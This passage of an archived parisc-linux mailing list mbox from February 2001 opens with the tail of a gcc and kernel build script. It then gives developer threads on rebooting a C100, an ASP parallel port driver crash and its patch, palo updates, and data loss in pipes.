echo ">>> configure and partially build gcc, `date`"
cd $TOP/build-64 && rm -rf gcc && mkdir gcc && cd gcc
$TOP/source/gcc/configure --host=$MACH --prefix=$DEST \
		--target=hppa64-linux --enable-shared \
		--disable-nls --enable-languages=c
rm -r zlib hppa64-linux
make
make install

# clean palo

echo ">>> cleaning palo build tree, `date`"
cd $TOP/source/palo
make clean

# configure the kernel

echo ">>> configure the kernel, `date`"
cd $TOP/source/linux
make distclean
make oldconfig
make dep

# build the kernel

echo ">>> build the kernel, `date`"
cd $TOP/source/linux
make clean
make palo

# done!!!

echo ">>> done, `date`"

cd $TOP
========================== cut =================================





From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Auto-rebooting (was Re: [parisc-linux] C100 & Latest CVS Bits)
Date: Wed, 14 Feb 2001 10:17:56 -0600 (CST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102140959410.16902-100000@maestro.symsys.com>
References: <200102132246.f1DMkL801323@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619865 15620 80.91.229.3 (22 Nov 2014 01:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Steven Pritchard <steve@silug.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 09:18:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 029A94A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 09:18:56 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id KAA17080;
	Wed, 14 Feb 2001 10:17:56 -0600
In-Reply-To: <200102132246.f1DMkL801323@osiris.silug.org>
Xref: news.gmane.org gmane.linux.ports.parisc:10247

On Tue, 13 Feb 2001, Steven Pritchard wrote:

> Does rebooting with sysrq work?  

Er, as in on the keyboard?  It's not even plugged in.  I haven't gotten a
monitor to work with my C100 so I've only used the serial console and
telnet.

> (I've never actually tried it over a serial console, but I seem to
> recall that you can send a break, then "b".)

My terminal program is cu on a Sun SparcStation 2.  Sending a break with
'~#' and '~%break' with and without a trailing 'b' don't have any effect.

> Actually, will that work, or do you have to turn on sysrq via /proc
> after booting?
> 
> Oh, wait, it looks like you can pass "panic=1" as a kernel parameter. 
> That should have the same effect as "echo 1 > /proc/sys/kernel/panic"
> (or adding "kernel.panic = 1" to /etc/sysctl.conf and running "sysctl
> -p") on a running system.

I'll go ahead and append this option, but I think some of the times the
kernel is dead.

- Greg






From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Wed, 14 Feb 2001 16:49:25 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <20010214164925.U1374@linuxcare.com>
References: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0102130007220.13741-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619865 15622 80.91.229.3 (22 Nov 2014 01:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>, "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 09:49:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC1E64A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Feb 2001 09:49:41 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 646D7B005; Wed, 14 Feb 2001 16:49:25 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102130007220.13741-100000@sgate.charlysworld.de>; from xam@deathsdoor.com on Tue, Feb 13, 2001 at 12:18:11AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10248

I can reproduce this on a 715/75.  When it crashes I get:

  ASP version 1 at 0xf0800000 found.
  LED (ASP-style) display at f0800020 registered
  Found HIL at 0xf0821000, IRQ 94
  HIL: keyboard found at id 3
  parport_init_chip: initialize bidirectional-mode.
  Dumping Stack from c5ff0000 to c5ff0980:


IAOQ = _gsc_readb + 0x0c
r2 = parport_PS2_supported + 0x64
r26 = 0xf0824800

r26 corresponds to

  Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0, 0x74, 0x0, 0x0


>From drivers/parport/parport_gsc.c:

        port = ((unsigned long) d->hpa) + PARPORT_GSC_OFFSET;

        /* 
            some older machines with ASP-chip don't support the enhanced parport modes 
        */
        if (!pdc_add_valid( (void *)(port+4))) {
            /* Initialize bidirectional-mode (0x10) & data-tranfer-mode #1 (0x20) */
            printk("%s: initialize bidirectional-mode.\n", __FUNCTION__);
            parport_writeb ( (0x10 + 0x20), port + 4);
        } else {
            printk("%s: enhanced parport-modes not supported.\n", __FUNCTION__);
        }

So, I guess it shouldn't have tried to initialise bidirectional-mode
on my old 715/75 with ASP.  If I force that 'if' to fail, then on reboot
I get:

  ASP version 1 at 0xf0800000 found.
  LED (ASP-style) display at f0800020 registered
  Found HIL at 0xf0821000, IRQ 94
  HIL: keyboard found at id 3
  parport_init_chip: enhanced parport-modes not supported.
  parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
  Found i82596 at 0xf0826000, IRQ 87

And the machine boots ok.  I added debug just to check, (port+4) is
0xf0824804.  So is pdc_add_valid() broken, or is that not the right
address to be testing?

Oh, and a simple 'ls / > /dev/lp0' worked too.

Richard





From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "M. Grabert" <xam@deathsdoor.com> delivery problems
Date: Wed, 14 Feb 2001 16:53:52 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20010214165352.V1374@linuxcare.com>
References: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0102130007220.13741-100000@sgate.charlysworld.de> <20010214164925.U1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619866 15627 80.91.229.3 (22 Nov 2014 01:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 09:54:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D32104A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Feb 2001 09:54:12 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B749AB005; Wed, 14 Feb 2001 16:53:52 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010214164925.U1374@linuxcare.com>; from rhirst@linuxcare.com on Wed, Feb 14, 2001 at 04:49:25PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:10249

<xam@deathsdoor.com>: host Mail.deathsdoor.com[206.96.221.110] said: 550 5.1.1
    <xam@deathsdoor.com>... User unknown

Richard




From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Florent Guiliani" <fguiliani@perinfo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Alpha CD 0.5 on HP9000 E25
Date: Wed, 14 Feb 2001 19:26:49 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <001d01c096b3$b2b2d270$6400030a@florent>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619866 15630 80.91.229.3 (22 Nov 2014 01:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:06 +0000 (UTC)
To: "Ppalinux (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 11:26:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lune.perinfo.com (AStrasbourg-201-2-1-11.abo.wanadoo.fr [193.251.1.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 371574A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Feb 2001 11:26:33 -0700 (MST)
Original-Received: from florent (florent [10.3.0.100])
	by lune.perinfo.com (8.9.3/8.9.3) with SMTP id TAA15406;
	Wed, 14 Feb 2001 19:25:23 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Xref: news.gmane.org gmane.linux.ports.parisc:10250

     Hi,

When I'm booting with Alpha cd 0.5 (kernel 2.4.0-test6) on an HP9000 model
E25,
the machine stop after printing "Lasi version 0 at 0xf0100000 found."

Any Ideas ?

Thx,





From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] recent palo problems
Date: Wed, 14 Feb 2001 15:54:06 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <m14TAoI-001VpYC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619866 15634 80.91.229.3 (22 Nov 2014 01:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 15:55:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.com (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 952FD4A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 15:55:33 -0700 (MST)
Original-Received: from www.riverrock.org (rock-veri.verinet.com [206.168.244.62])
	by deimos.frii.com (8.11.2/8.11.2) with ESMTP id f1EMtWn01678
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 15:55:32 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA02680
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 15:55:02 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14TAoI-001VpYC@bame.riverrock.org> (Debian Smail3.2.0.102)
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 15:54:06 -0700 (MST) 
Errors-To: bame@riverrock.org
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:10251

Those of you lucky to have >= 2G RAM may have had problems with palo
in the last week or so -- now fixed.  I also refreshed the palo Debian
package because it's possible that this palo is required
to boot newer kernels now that they're located at a different address.

	-P




From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch to build debs
Date: Wed, 14 Feb 2001 16:01:31 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <m14TAvT-001VpXC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619867 15642 80.91.229.3 (22 Nov 2014 01:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 16:03:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.com (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 631284A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 16:03:32 -0700 (MST)
Original-Received: from www.riverrock.org (rock-veri.verinet.com [206.168.244.62])
	by deimos.frii.com (8.11.2/8.11.2) with ESMTP id f1EN3Vn07616
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 16:03:31 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA02861
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 16:03:01 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14TAvT-001VpXC@bame.riverrock.org> (Debian Smail3.2.0.102)
	for <parisc-linux@parisc-linux.org>; Wed, 14 Feb 2001 16:01:31 -0700 (MST) 
Errors-To: bame@riverrock.org
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:10252

Remove the token GLIBC_2.2 from the file /var/lib/dpkg/info/libc6.shlibs

Thanks to bdale for figuring this one out.

	-P




From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Thu, 15 Feb 2001 01:01:35 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <01021500595803.07438@P100.helgenet.de>
References: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0102130007220.13741-100000@sgate.charlysworld.de> <20010214164925.U1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619867 15646 80.91.229.3 (22 Nov 2014 01:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 16:59:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id CABCA4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Feb 2001 16:59:39 -0700 (MST)
Original-Received: (qmail 15952 invoked by uid 0); 14 Feb 2001 23:59:30 -0000
Original-Received: from unknown (HELO P100.helgenet.de) (217.4.3.57)
  by mail.gmx.net (mp011-rz3) with SMTP; 14 Feb 2001 23:59:30 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010214164925.U1374@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10253

On Wednesday 14 February 2001 17:49, Richard Hirst wrote:
> I can reproduce this on a 715/75.  When it crashes I get:
>
>   ASP version 1 at 0xf0800000 found.
>   LED (ASP-style) display at f0800020 registered
>   Found HIL at 0xf0821000, IRQ 94
>   HIL: keyboard found at id 3
>   parport_init_chip: initialize bidirectional-mode.
>   Dumping Stack from c5ff0000 to c5ff0980:
>
>
> IAOQ = _gsc_readb + 0x0c
> r2 = parport_PS2_supported + 0x64
> r26 = 0xf0824800
>
> r26 corresponds to
>
>   Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0, 0x74,
> 0x0, 0x0
>
>
> From drivers/parport/parport_gsc.c:
>
>         port = ((unsigned long) d->hpa) + PARPORT_GSC_OFFSET;
>
>         /*
>             some older machines with ASP-chip don't support the enhanced
> parport modes */
>         if (!pdc_add_valid( (void *)(port+4))) {
>             /* Initialize bidirectional-mode (0x10) & data-tranfer-mode #1
> (0x20) */ printk("%s: initialize bidirectional-mode.\n", __FUNCTION__);
> parport_writeb ( (0x10 + 0x20), port + 4);
>         } else {
>             printk("%s: enhanced parport-modes not supported.\n",
> __FUNCTION__); }
>
> So, I guess it shouldn't have tried to initialise bidirectional-mode
> on my old 715/75 with ASP.  If I force that 'if' to fail, then on reboot
> I get:
>
>   ASP version 1 at 0xf0800000 found.
>   LED (ASP-style) display at f0800020 registered
>   Found HIL at 0xf0821000, IRQ 94
>   HIL: keyboard found at id 3
>   parport_init_chip: enhanced parport-modes not supported.
>   parport0: PC-style at 0xf0824800, irq 88 [PCSPP]

On my 715/64 I get with bidirectional mode enabled:
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
and this (TRISTATE) is why I wanted to enable this mode. 

> And the machine boots ok.  I added debug just to check, (port+4) is
> 0xf0824804.  So is pdc_add_valid() broken, or is that not the right
> address to be testing?

I'm still sure, that this is the correct address to test, but maybe we should 
just disable the initialisation of bidirectional mode for machines which
- have an ASP chip, or
- have their parport-chip at address 0xf0824800 (which is the only region 
where the ASP has it's parport), or
- on machines, where "parisc_get_cpu_type(cpu_data[0]) < pcxt_"  (from 
hardware.h and processor.h) [but I'm not sure if pcxt_ is correct. You'll 
need to verify]

This are just some possible solutions to work around the problem for now, but 
I'm sure there may be some others too.

> Oh, and a simple 'ls / > /dev/lp0' worked too.
Great.

> Richard

Greetings,

	Helge




From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Thu, 15 Feb 2001 09:54:54 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20010215095454.X1374@linuxcare.com>
References: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0102130007220.13741-100000@sgate.charlysworld.de> <20010214164925.U1374@linuxcare.com> <01021500595803.07438@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619867 15649 80.91.229.3 (22 Nov 2014 01:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 02:55:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDD3C4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 02:55:17 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 62512B005; Thu, 15 Feb 2001 09:54:54 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <01021500595803.07438@P100.helgenet.de>; from deller@gmx.de on Thu, Feb 15, 2001 at 01:01:35AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10254

On Thu, Feb 15, 2001 at 01:01:35AM +0100, Helge Deller wrote:
> I'm still sure, that this is the correct address to test, but maybe we should 
> just disable the initialisation of bidirectional mode for machines which
> - have an ASP chip, or
> - have their parport-chip at address 0xf0824800 (which is the only region 
> where the ASP has it's parport), or
> - on machines, where "parisc_get_cpu_type(cpu_data[0]) < pcxt_"  (from 
> hardware.h and processor.h) [but I'm not sure if pcxt_ is correct. You'll 
> need to verify]

That parisc_get_cpu_type() bit isn't quite right, how about:

diff -u -r1.7 parport_gsc.c
--- parport_gsc.c       2001/01/25 00:01:32     1.7
+++ parport_gsc.c       2001/02/15 09:42:08
@@ -482,7 +482,7 @@
        /* 
            some older machines with ASP-chip don't support the enhanced parport modes 
        */
-       if (!pdc_add_valid( (void *)(port+4))) {
+       if (boot_cpu_data.cpu_type > pcxt && !pdc_add_valid( (void *)(port+4))) {
            /* Initialize bidirectional-mode (0x10) & data-tranfer-mode #1 (0x20) */
            printk("%s: initialize bidirectional-mode.\n", __FUNCTION__);
            parport_writeb ( (0x10 + 0x20), port + 4);


Works on my 715/75, where boot_cpu_data.cpu_type = 2 = pcxt.

Richard





From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pipes
Date: Thu, 15 Feb 2001 16:38:58 +0000
Lines: 75
Approved: news@gmane.org
Message-ID: <20010215163858.C1374@linuxcare.com>
References: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619868 15652 80.91.229.3 (22 Nov 2014 01:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 09:39:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7DEC4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 09:39:20 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4327AB005; Thu, 15 Feb 2001 16:38:58 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Sat, Feb 10, 2001 at 02:29:50AM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10255

Is this still a problem?

On Sat, Feb 10, 2001 at 02:29:50AM +1100, Alan Modra wrote:
> Would anyone like to hazard a guess as to whether pipes work OK?
> 
> The fixincludes problem I'm seeing with devel branch gcc builds looks like
> a loss of data in a pipe.  fixincl does a fairly standard trick of opening
> a pipe(2) to a fork & exec'd shell, and by putting a little debugging code
> in I see some fishy commands in the shell.
> 
> Good debug info looks like:
> 
> ==
> case hppa-unknown-linux-gnu in
> *-*-sysv4* | \
> i?86-*-sysv5* | \
> i?86-*-udk* | \
> i?86-*-solaris2.[0-4] | \
> powerpcle-*-solaris2.[0-4] | \
> sparc-*-solaris2.[0-4] )
>     echo run ;;
> * ) echo skip ;;
> esac
> ==
> cd /usr/include
> case hppa-unknown-linux-gnu in
> *-*-sysv4* | \
> i?86-*-sysv5* | \
> i?86-*-udk* | \
> i?86-*-solaris2.[0-4] | \
> powerpcle-*-solaris2.[0-4] | \
> sparc-*-solaris2.[0-4] )
>     echo run ;;
> * ) echo skip ;;
> esac
> 
> echo
> echo ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd
> 
> where the first hunk of text between `=='s is wrapped in
> `cd /usr/include' .. `echo funky stuff' and plugged into the pipe.  The
> hunk of text after the second `==' is what the shell reads from the pipe.
> Everything works as expected for a while, and then we get
> 
> ==
> file=sys/stat.h
> if ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1
> then echo TRUE
> else echo FALSE
> fi
> ==
> cd /usr/include
> file=sys/stat.h
> if ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1
> then echo TRUE
> else echo FALSE
> fi
> d
> 
> Oops, did we just lose 41 chars?

Interesting that the loss is from the start of the wrapper text.  Is
the wrapping done in a local buffer and the whole lot written as one
operation to the pipe?  Or is it three seperate writes?

> Unfortunately, I'm not sure where the loss happens.  When I tried to
> "strace -f -s 256 ...", I ran into

Yes, strace -f doesn't seem to work.  I plan to look at that rsn.

Richard





From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Thu, 15 Feb 2001 22:58:50 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <01021522582001.01057@P100.helgenet.de>
References: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk> <01021500595803.07438@P100.helgenet.de> <20010215095454.X1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619868 15653 80.91.229.3 (22 Nov 2014 01:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 14:56:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3B39F4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 14:56:31 -0700 (MST)
Original-Received: (qmail 22297 invoked by uid 0); 15 Feb 2001 21:56:27 -0000
Original-Received: from unknown (HELO P100.helgenet.de) (217.4.3.76)
  by mail.gmx.net (mp005-rz3) with SMTP; 15 Feb 2001 21:56:27 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010215095454.X1374@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10256

On Thursday 15 February 2001 10:54, Richard Hirst wrote:
> On Thu, Feb 15, 2001 at 01:01:35AM +0100, Helge Deller wrote:
> > I'm still sure, that this is the correct address to test, but maybe we
> > should just disable the initialisation of bidirectional mode for machines
> > which - have an ASP chip, or
> > - have their parport-chip at address 0xf0824800 (which is the only region
> > where the ASP has it's parport), or
> > - on machines, where "parisc_get_cpu_type(cpu_data[0]) < pcxt_"  (from
> > hardware.h and processor.h) [but I'm not sure if pcxt_ is correct. You'll
> > need to verify]
>
> That parisc_get_cpu_type() bit isn't quite right, how about:
>
> diff -u -r1.7 parport_gsc.c
> --- parport_gsc.c       2001/01/25 00:01:32     1.7
> +++ parport_gsc.c       2001/02/15 09:42:08
> @@ -482,7 +482,7 @@
>         /*
>             some older machines with ASP-chip don't support the enhanced
> parport modes */
> -       if (!pdc_add_valid( (void *)(port+4))) {
> +       if (boot_cpu_data.cpu_type > pcxt && !pdc_add_valid( (void
> *)(port+4))) { /* Initialize bidirectional-mode (0x10) & data-tranfer-mode
> #1 (0x20) */ printk("%s: initialize bidirectional-mode.\n", __FUNCTION__);
> parport_writeb ( (0x10 + 0x20), port + 4);

Looks good. 
Could you commit ?

> Works on my 715/75, where boot_cpu_data.cpu_type = 2 = pcxt.
> Richard

Greetings,

	Helge




From - Thu Nov 08 21:16:30 2018
X-Mozilla-Status: 0011
